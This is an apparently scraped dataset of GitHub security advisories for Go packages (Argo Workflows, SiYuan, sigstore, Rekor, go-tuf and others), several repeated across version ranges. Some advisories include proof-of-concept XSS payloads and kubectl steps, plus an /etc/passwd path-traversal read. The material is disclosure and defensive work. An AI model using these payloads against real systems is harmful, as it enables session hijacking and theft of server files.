deardaniel/secdata-raw huggingface dataset:
GitHub Security Advisory: GHSA-w2gr-585j-r428
Package: github.com/elastic/beats/v7 (GO)
Severity: MODERATE (CVSS 6.5)
CWE: CWE-129: Improper Validation of Array Index
Vulnerable versions: < 7.0.0-alpha2.0[PII_REDACTED]4608-6e42552a23ce
Patched in: 7.0.0-alpha2.0[PII_REDACTED]4608-6e42552a23ce

Summary: Metricbeat affected by multiple denial of service vulnerabilities

Details:
Improper Validation of Array Index (CWE-129) exists in Metricbeat can allow an attacker to cause a Denial of Service through Input Data Manipulation (CAPEC-153) via specially crafted, malformed payloads sent to the Graphite server metricset or Zookeeper server metricset. Additionally, Improper Input Validation (CWE-20) exists in the Prometheus helper module that can allow an attacker to cause a Denial of Service through Input Data Manipulation (CAPEC-153) via specially crafted, malformed metric data.
GitHub Security Advisory: GHSA-fcv2-xgw5-pqxf
Package: github.com/sigstore/sigstore (GO)
Severity: MODERATE (CVSS 5.8)
CWE: CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Vulnerable versions: <= 1.10.3
Patched in: 1.10.4

Summary: sigstore legacy TUF client allows for arbitrary file writes with target cache path traversal

Details:
## Summary

The legacy TUF client `pkg/tuf/client.go`, which supports caching target files to disk, constructs a filesystem path by joining a cache base directory with a target name sourced from signed target metadata, but it does not validate that the resulting path stays within the cache base directory.

Note that this should only affect clients that are directly using the TUF client in sigstore/sigstore or are using an older version of Cosign. As this TUF client implementation is deprecated, users should migrate to https://github.com/sigstore/sigstore-go/tree/main/pkg/tuf as soon as possible.

Note that this does not affect users of the public Sigstore deployment, where TUF metadata is validated by a quorum of trusted collaborators. 

## Impact

A malicious TUF repository can trigger arbitrary file overwriting, limited to the permissions that the calling process has.

## Workarounds

Users can disable disk caching for the legacy client by setting `SIGSTORE_NO_CACHE=true` in the environment, migrate to https://github.com/sigstore/sigstore-go/tree/main/pkg/tuf, or upgrade to the latest sigstore/sigstore release.
GitHub Security Advisory: GHSA-4c4x-jm2x-pf9j
Package: github.com/sigstore/rekor (GO)
Severity: MODERATE (CVSS 5.3)
CWE: CWE-918: Server-Side Request Forgery (SSRF)
Vulnerable versions: <= 1.4.3
Patched in: 1.5.0

Summary: Rekor affected by Server-Side Request Forgery (SSRF) via provided public key URL

Details:
## Summary

`/api/v1/index/retrieve` supports retrieving a public key via a user-provided URL, allowing attackers to trigger SSRF to arbitrary internal services.

Since the SSRF only can trigger GET requests, the request cannot mutate state. The response from the GET request is not returned to the caller so data exfiltration is not possible. A malicious actor could attempt to probe an internal network through [Blind SSRF](https://portswigger.net/web-security/ssrf/blind).

## Impact

* SSRF to cloud metadata (169.254.169.254)
* SSRF to internal Kubernetes APIs
* SSRF to any service accessible from Fulcio's network

## Patches

Upgrade to v1.5.0. Note that this is a breaking change to the search API and fully disables lookups by URL. If you require this feature, please reach out and we can discuss alternatives.

## Workarounds

Disable the search endpoint with `--enable_retrieve_api=false`.
GitHub Security Advisory: GHSA-273p-m2cw-6833
Package: github.com/sigstore/rekor (GO)
Severity: MODERATE (CVSS 5.3)
CWE: CWE-476: NULL Pointer Dereference
Vulnerable versions: <= 1.4.3
Patched in: 1.5.0

Summary: Rekor's COSE v0.0.1 entry type nil pointer dereference in Canonicalize via empty Message

Details:
## Summary

Rekor’s cose v0.0.1 entry implementation can panic on attacker-controlled input when canonicalizing a proposed entry with an empty `spec.message`. `validate()` returns nil (success) when `message` is empty, leaving `sign1Msg` uninitialized, and `Canonicalize()` later dereferences `v.sign1Msg.Payload`.

## Impact

A malformed proposed entry of the `cose/v0.0.1` type can cause a panic on a thread within the Rekor process. The thread is recovered so the client receives a 500 error message and service still continues, so the availability impact of this is minimal.

## Patches

Upgrade to v1.5.0

## Workarounds

None
GitHub Security Advisory: GHSA-4jmp-x7mh-rgmr
Package: github.com/babylonlabs-io/finality-provider (GO)
Severity: HIGH (CVSS 0.0)
CWE: CWE-285: Improper Authorization
Vulnerable versions: = 1.99.0-devnet.6
Patched in: unpatched

Summary: Finality Provider vulnerable to anti-slashing bypassing due to misconfiguration

Details:
### Summary

The anti-slashing is not effective if the attacker can access EOTS manager endpoints.

### Impact

If the EOTS manager endpoints are open to public without HMAC protection, the attacker can manually cause slashing of the finality provider through the RPC endpoints.

Report credits go to: x.com/RebelsRunways
GitHub Security Advisory: GHSA-4jmp-x7mh-rgmr
Package: github.com/babylonlabs-io/finality-provider (GO)
Severity: HIGH (CVSS 0.0)
CWE: CWE-285: Improper Authorization
Vulnerable versions: = 1.1.0-rc.1
Patched in: unpatched

Summary: Finality Provider vulnerable to anti-slashing bypassing due to misconfiguration

Details:
### Summary

The anti-slashing is not effective if the attacker can access EOTS manager endpoints.

### Impact

If the EOTS manager endpoints are open to public without HMAC protection, the attacker can manually cause slashing of the finality provider through the RPC endpoints.

Report credits go to: x.com/RebelsRunways
GitHub Security Advisory: GHSA-4jmp-x7mh-rgmr
Package: github.com/babylonlabs-io/finality-provider (GO)
Severity: HIGH (CVSS 0.0)
CWE: CWE-285: Improper Authorization
Vulnerable versions: = 1.1.0-rc.0
Patched in: unpatched

Summary: Finality Provider vulnerable to anti-slashing bypassing due to misconfiguration

Details:
### Summary

The anti-slashing is not effective if the attacker can access EOTS manager endpoints.

### Impact

If the EOTS manager endpoints are open to public without HMAC protection, the attacker can manually cause slashing of the finality provider through the RPC endpoints.

Report credits go to: x.com/RebelsRunways
GitHub Security Advisory: GHSA-4jmp-x7mh-rgmr
Package: github.com/babylonlabs-io/finality-provider (GO)
Severity: HIGH (CVSS 0.0)
CWE: CWE-285: Improper Authorization
Vulnerable versions: <= 1.0.3
Patched in: 1.0.4

Summary: Finality Provider vulnerable to anti-slashing bypassing due to misconfiguration

Details:
### Summary

The anti-slashing is not effective if the attacker can access EOTS manager endpoints.

### Impact

If the EOTS manager endpoints are open to public without HMAC protection, the attacker can manually cause slashing of the finality provider through the RPC endpoints.

Report credits go to: x.com/RebelsRunways
GitHub Security Advisory: GHSA-pchf-49fh-w34r
Package: github.com/charmbracelet/soft-serve (GO)
Severity: HIGH (CVSS 0.0)
CWE: CWE-289: Authentication Bypass by Alternate Name
Vulnerable versions: <= 0.11.2
Patched in: 0.11.3

Summary: Soft Serve Affected by an Authentication Bypass

Details:
### Impact
_What kind of vulnerability is it? Who is impacted?_

This issue impacts every Soft Serve instance.

A critical authentication bypass allows an attacker to impersonate any user (including Admin) by "offering" the victim's public key during the SSH handshake before authenticating with their own valid key. This occurs because the user identity is stored in the session context during the "offer" phase and is not cleared if that specific authentication attempt fails.

### Patches
_Has the problem been patched? What versions should users upgrade to?_

Yes, please upgrade to version 0.11.3 as soon as possible.

### Workarounds
_Is there a way for users to fix or remediate the vulnerability without upgrading?_

You need to upgrade
GitHub Security Advisory: GHSA-cv78-6m8q-ph82
Package: github.com/argoproj/argo-workflows (GO)
Severity: HIGH (CVSS 0.0)
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Vulnerable versions: <= 2.5.3-rc4
Patched in: unpatched

Summary: Argo Workflows affected by stored XSS in the artifact directory listing

Details:
### Summary
Stored XSS in the artifact directory listing allows any workflow author to execute arbitrary JavaScript in another user’s browser under the Argo Server origin, enabling API actions with the victim’s privileges.

### Details
The directory listing response in `server/artifacts/artifact_server.go` renders object names directly into HTML via `fmt.Fprintf` without escaping. Object names come from `driver.ListObjects(...)` and are attacker‑controlled when a workflow writes files into an output artifact directory.

https://github.com/argoproj/argo-workflows/blob/9872c296d29dcc5e9c[PII_REDACTED]1ede9fc30797/server/artifacts/artifact_server.go#L194-L244

### PoC
1. Deploy Argo Workflows:
```
kubectl create ns argo
kubectl apply --server-side -f manifests/base/crds/full
kubectl apply --server-side -k manifests/quick-start/postgres
```
2. Port‑forward Argo Server:
```
kubectl -n argo port-forward deploy/argo-server 2746:2746
```
3. Create the PoC workflow:
```yml
cat > /tmp/argo-xss.yaml <<'EOF'
apiVersion: argoproj.io/v1alpha1
kind: Workflow
metadata:
  generateName: xss-artifact-test-
spec:
  entrypoint: main
  templates:
  - name: main
    container:
      image: alpine
      command: [sh, -c]
      args:
      - |
        mkdir -p /tmp/artifacts
        touch '/tmp/artifacts/xss"><img src=x onerror="alert(document.domain)">.html'
    outputs:
      artifacts:
      - name: dir
        path: /tmp/artifacts
        archive:
          none: {}
EOF
```
```
kubectl -n argo create -f /tmp/argo-xss.yaml
```
4. Wait for completion:
```
kubectl -n argo get wf -w
```
5. Get the node ID:
```
kubectl -n argo get wf <wf-name> \
  -o jsonpath='{range .status.nodes.*}{.id}{"\t"}{.displayName}{"\n"}{end}'
```
6. Open the listing:
`https://localhost:2746/artifact-files/argo/workflows/<wf-name>/<node-id>/outputs/dir/`

<img width="1220" height="349" alt="image" src="https://github.com/user-attachments/assets/9d859826-c7cd-403b-988e[PII_REDACTED]4b" />

### Impact
- The attacker creates a workflow that produces a HTML artifact that contains a HTML file that contains a script which uses XHR calls to interact with the Argo Server API.
- The attacker emails the deep-link to the artifact to their victim. The victim opens the link, the script starts running.

As the script has access to the Argo Server API (as the victim), so may do the following (if the victim may):
- Read information about the victim’s workflows.
- Create or delete workflows.
GitHub Security Advisory: GHSA-cv78-6m8q-ph82
Package: github.com/argoproj/argo-workflows/v3 (GO)
Severity: HIGH (CVSS 0.0)
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Vulnerable versions: >= 3.7.0, <= 3.7.7
Patched in: 3.7.8

Summary: Argo Workflows affected by stored XSS in the artifact directory listing

Details:
### Summary
Stored XSS in the artifact directory listing allows any workflow author to execute arbitrary JavaScript in another user’s browser under the Argo Server origin, enabling API actions with the victim’s privileges.

### Details
The directory listing response in `server/artifacts/artifact_server.go` renders object names directly into HTML via `fmt.Fprintf` without escaping. Object names come from `driver.ListObjects(...)` and are attacker‑controlled when a workflow writes files into an output artifact directory.

https://github.com/argoproj/argo-workflows/blob/9872c296d29dcc5e9c[PII_REDACTED]1ede9fc30797/server/artifacts/artifact_server.go#L194-L244

### PoC
1. Deploy Argo Workflows:
```
kubectl create ns argo
kubectl apply --server-side -f manifests/base/crds/full
kubectl apply --server-side -k manifests/quick-start/postgres
```
2. Port‑forward Argo Server:
```
kubectl -n argo port-forward deploy/argo-server 2746:2746
```
3. Create the PoC workflow:
```yml
cat > /tmp/argo-xss.yaml <<'EOF'
apiVersion: argoproj.io/v1alpha1
kind: Workflow
metadata:
  generateName: xss-artifact-test-
spec:
  entrypoint: main
  templates:
  - name: main
    container:
      image: alpine
      command: [sh, -c]
      args:
      - |
        mkdir -p /tmp/artifacts
        touch '/tmp/artifacts/xss"><img src=x onerror="alert(document.domain)">.html'
    outputs:
      artifacts:
      - name: dir
        path: /tmp/artifacts
        archive:
          none: {}
EOF
```
```
kubectl -n argo create -f /tmp/argo-xss.yaml
```
4. Wait for completion:
```
kubectl -n argo get wf -w
```
5. Get the node ID:
```
kubectl -n argo get wf <wf-name> \
  -o jsonpath='{range .status.nodes.*}{.id}{"\t"}{.displayName}{"\n"}{end}'
```
6. Open the listing:
`https://localhost:2746/artifact-files/argo/workflows/<wf-name>/<node-id>/outputs/dir/`

<img width="1220" height="349" alt="image" src="https://github.com/user-attachments/assets/9d859826-c7cd-403b-988e[PII_REDACTED]4b" />

### Impact
- The attacker creates a workflow that produces a HTML artifact that contains a HTML file that contains a script which uses XHR calls to interact with the Argo Server API.
- The attacker emails the deep-link to the artifact to their victim. The victim opens the link, the script starts running.

As the script has access to the Argo Server API (as the victim), so may do the following (if the victim may):
- Read information about the victim’s workflows.
- Create or delete workflows.
GitHub Security Advisory: GHSA-cv78-6m8q-ph82
Package: github.com/argoproj/argo-workflows/v3 (GO)
Severity: HIGH (CVSS 0.0)
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Vulnerable versions: < 3.6.17
Patched in: 3.6.17

Summary: Argo Workflows affected by stored XSS in the artifact directory listing

Details:
### Summary
Stored XSS in the artifact directory listing allows any workflow author to execute arbitrary JavaScript in another user’s browser under the Argo Server origin, enabling API actions with the victim’s privileges.

### Details
The directory listing response in `server/artifacts/artifact_server.go` renders object names directly into HTML via `fmt.Fprintf` without escaping. Object names come from `driver.ListObjects(...)` and are attacker‑controlled when a workflow writes files into an output artifact directory.

https://github.com/argoproj/argo-workflows/blob/9872c296d29dcc5e9c[PII_REDACTED]1ede9fc30797/server/artifacts/artifact_server.go#L194-L244

### PoC
1. Deploy Argo Workflows:
```
kubectl create ns argo
kubectl apply --server-side -f manifests/base/crds/full
kubectl apply --server-side -k manifests/quick-start/postgres
```
2. Port‑forward Argo Server:
```
kubectl -n argo port-forward deploy/argo-server 2746:2746
```
3. Create the PoC workflow:
```yml
cat > /tmp/argo-xss.yaml <<'EOF'
apiVersion: argoproj.io/v1alpha1
kind: Workflow
metadata:
  generateName: xss-artifact-test-
spec:
  entrypoint: main
  templates:
  - name: main
    container:
      image: alpine
      command: [sh, -c]
      args:
      - |
        mkdir -p /tmp/artifacts
        touch '/tmp/artifacts/xss"><img src=x onerror="alert(document.domain)">.html'
    outputs:
      artifacts:
      - name: dir
        path: /tmp/artifacts
        archive:
          none: {}
EOF
```
```
kubectl -n argo create -f /tmp/argo-xss.yaml
```
4. Wait for completion:
```
kubectl -n argo get wf -w
```
5. Get the node ID:
```
kubectl -n argo get wf <wf-name> \
  -o jsonpath='{range .status.nodes.*}{.id}{"\t"}{.displayName}{"\n"}{end}'
```
6. Open the listing:
`https://localhost:2746/artifact-files/argo/workflows/<wf-name>/<node-id>/outputs/dir/`

<img width="1220" height="349" alt="image" src="https://github.com/user-attachments/assets/9d859826-c7cd-403b-988e[PII_REDACTED]4b" />

### Impact
- The attacker creates a workflow that produces a HTML artifact that contains a HTML file that contains a script which uses XHR calls to interact with the Argo Server API.
- The attacker emails the deep-link to the artifact to their victim. The victim opens the link, the script starts running.

As the script has access to the Argo Server API (as the victim), so may do the following (if the victim may):
- Read information about the victim’s workflows.
- Create or delete workflows.
GitHub Security Advisory: GHSA-fphv-w9fq-2525
Package: github.com/theupdateframework/go-tuf/v2 (GO)
Severity: MODERATE (CVSS 5.9)
CWE: CWE-347: Improper Verification of Cryptographic Signature
Vulnerable versions: < 2.3.1
Patched in: 2.3.1

Summary: go-tuf improperly validates the configured threshold for delegations

Details:
# Security Disclosure: Improper validation of configured threshold for delegations

## Summary

A compromised or misconfigured TUF repository can have the configured value of signature thresholds set to 0, which effectively disables signature verification. 

## Impact

Unathorized modification to TUF metadata files is possible at rest, or during transit as no integrity checks are made.

## Patches

Upgrade to v2.3.1

## Workarounds

Always make sure that the TUF metadata roles are configured with a threshold of at least 1.

## Affected code:

The `metadata.VerifyDelegate` did not verify the configured threshold prior to comparison. This means that a misconfigured TUF repository could disable the signature verification by setting the threshold to 0, or a negative value (and so always make the signature threshold computation to pass).
GitHub Security Advisory: GHSA-846p-jg2w-w324
Package: github.com/theupdateframework/go-tuf/v2 (GO)
Severity: MODERATE (CVSS 5.9)
CWE: CWE-617: Reachable Assertion, CWE-754: Improper Check for Unusual or Exceptional Conditions
Vulnerable versions: < 2.3.1
Patched in: 2.3.1

Summary: go-tuf affected by client DoS via malformed server response

Details:
# Security Disclosure: Client DoS via malformed server response

## Summary

If the TUF repository (or any of its mirrors) returns invalid TUF metadata JSON (valid JSON but not well formed TUF metadata), the client will panic _during parsing_, causing a DoS. The panic happens before any signature is validated. This means that a compromised repository/mirror/cache can DoS clients without having access to any signing key.

## Impact 

Client crashes upon receiving and parsing malformed TUF metadata. This can cause long running services to enter an restart/crash loop.

## Workarounds

None currently. 

## Affected code

The `metadata.checkType` function did not properly type assert the (untrusted) input causing it to panic on malformed data.
GitHub Security Advisory: GHSA-94c7-g2fj-7682
Package: github.com/siyuan-note/siyuan/kernel (GO)
Severity: HIGH (CVSS 0.0)
CWE: CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Vulnerable versions: < 0.0.0[PII_REDACTED]2521-f8f4b517077b
Patched in: 0.0.0[PII_REDACTED]2521-f8f4b517077b

Summary: SiYuan Vulnerable to Arbitrary File Read via File Copy Functionality

Details:
### Summary
The SiYuan Note application (v3.5.3) contains a logic vulnerability in the /api/file/globalCopyFiles endpoint. The function allows authenticated users to copy files from any location on the server's filesystem into the application's workspace without proper path validation
### Details
The vulnerability exists in the api/file.go source code. The function globalCopyFiles accepts a list of source paths (srcs) from the JSON request body. While the code checks if the source file exists using filelock.IsExist(src), it fails to validate whether the source path resides within the authorized workspace directory.


```
func globalCopyFiles(c *gin.Context) {
    // ...

    srcsArg := arg["srcs"].([]interface{})
    
    for _, src := range srcs {

        if !filelock.IsExist(src) { ... }
        

        if err := filelock.Copy(src, dest); err != nil { ... }
    }
}
```

### PoC
The following steps demonstrate how to exfiltrate the /etc/passwd file.

1. The attacker sends a request to copy the system file /etc/passwd to the root of the application workspace (/).

<img width="1537" height="357" alt="image" src="https://github.com/user-attachments/assets/7c8e5fe8-f609-4263-8685-eedf3cf22400" />

2. The attacker downloads the copied file using the standard file retrieval API, which now treats the system file as a legitimate workspace asset.

<img width="1549" height="588" alt="image" src="https://github.com/user-attachments/assets/37cac3dd-d9a9-4191-92ea-16f0424c73e1" />
<img width="756" height="337" alt="image" src="https://github.com/user-attachments/assets/c872d729-259b-4b2a-9314-8be6b2b9b26a" />


### Impact
This vulnerability allows an attacker to read arbitrary files from the server's filesystem, bypassing intended directory restrictions. By exfiltrating sensitive configuration files (such as docker-compose.yml containing database credentials) and system files (like /etc/passwd), an attacker can harvest secrets to pivot from application access to full infrastructure compromise. This results in a complete loss of confidentiality regarding both user data and the underlying server environment.

### Tested version:
<img width="1118" height="650" alt="image" src="https://github.com/user-attachments/assets/c98cbbcc-2a28-4a15-b84e-4a7120649c5e" />

### Solution

https://github.com/siyuan-note/siyuan/issues/16860
GitHub Security Advisory: GHSA-w836-5gpm-7r93
Package: github.com/siyuan-note/siyuan/kernel (GO)
Severity: LOW (CVSS 4.6)
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Vulnerable versions: < 0.0.0[PII_REDACTED]1606-5c0cc375b475
Patched in: 0.0.0[PII_REDACTED]1606-5c0cc375b475

Summary: SiYuan has a Reflected Cross-Site Scripting (XSS) via /api/icon/getDynamicIcon

Details:
### Summary
Reflected XSS in /api/icon/getDynamicIcon due to unsanitized SVG input.
### Details
The endpoint generates SVG images for text icons (type=8). The content query parameter is inserted directly into the SVG <text> tag without XML escaping. Since the response Content-Type is image/svg+xml, injecting unescaped tags allows breaking the XML structure and executing JavaScript.

### PoC
Payload: `test</text><script>alert(window.origin)</script><text>`

1. Open any note and click Change Icon -> Dynamic (Text).
<img width="713" height="373" alt="image" src="https://github.com/user-attachments/assets/8a4f5ec4-81d6-46cb-8872-841cb2188ed8" />

2.  Change color  and paste the payload into the Custom field and click on this icon.
<img width="935" height="682" alt="image" src="https://github.com/user-attachments/assets/24d28fbd-a3ce-44f1-a5bb-2cc3f711faf5" />

3. Intercept and send the request or get path from devtools 
<img width="1229" height="627" alt="image" src="https://github.com/user-attachments/assets/3cfb1d9a-5a23-476c-86cc-f9a7de6bbe32" />
<img width="1140" height="764" alt="image" src="https://github.com/user-attachments/assets/2657e44f-3724-4136-a53f-75068945aef0" />

4. The JavaScript payload executes afted open URL.
<img width="701" height="809" alt="image" src="https://github.com/user-attachments/assets/343ad67a-e236-466b-9ec9-e4f1dea4fd5e" />
<img width="1382" height="847" alt="image" src="https://github.com/user-attachments/assets/01820d3c-c374-402a-8d72-6ea75dbd92c2" />

### Impact
Arbitrary JavaScript execution in the user's session context if the SVG is loaded directly. It also prevents using legitimate characters like < or > in icon text.

### Note
Tested version:
<img width="1368" height="699" alt="image" src="https://github.com/user-attachments/assets/a7466b8f-a88b-461d-8d9e-7178af7ab076" />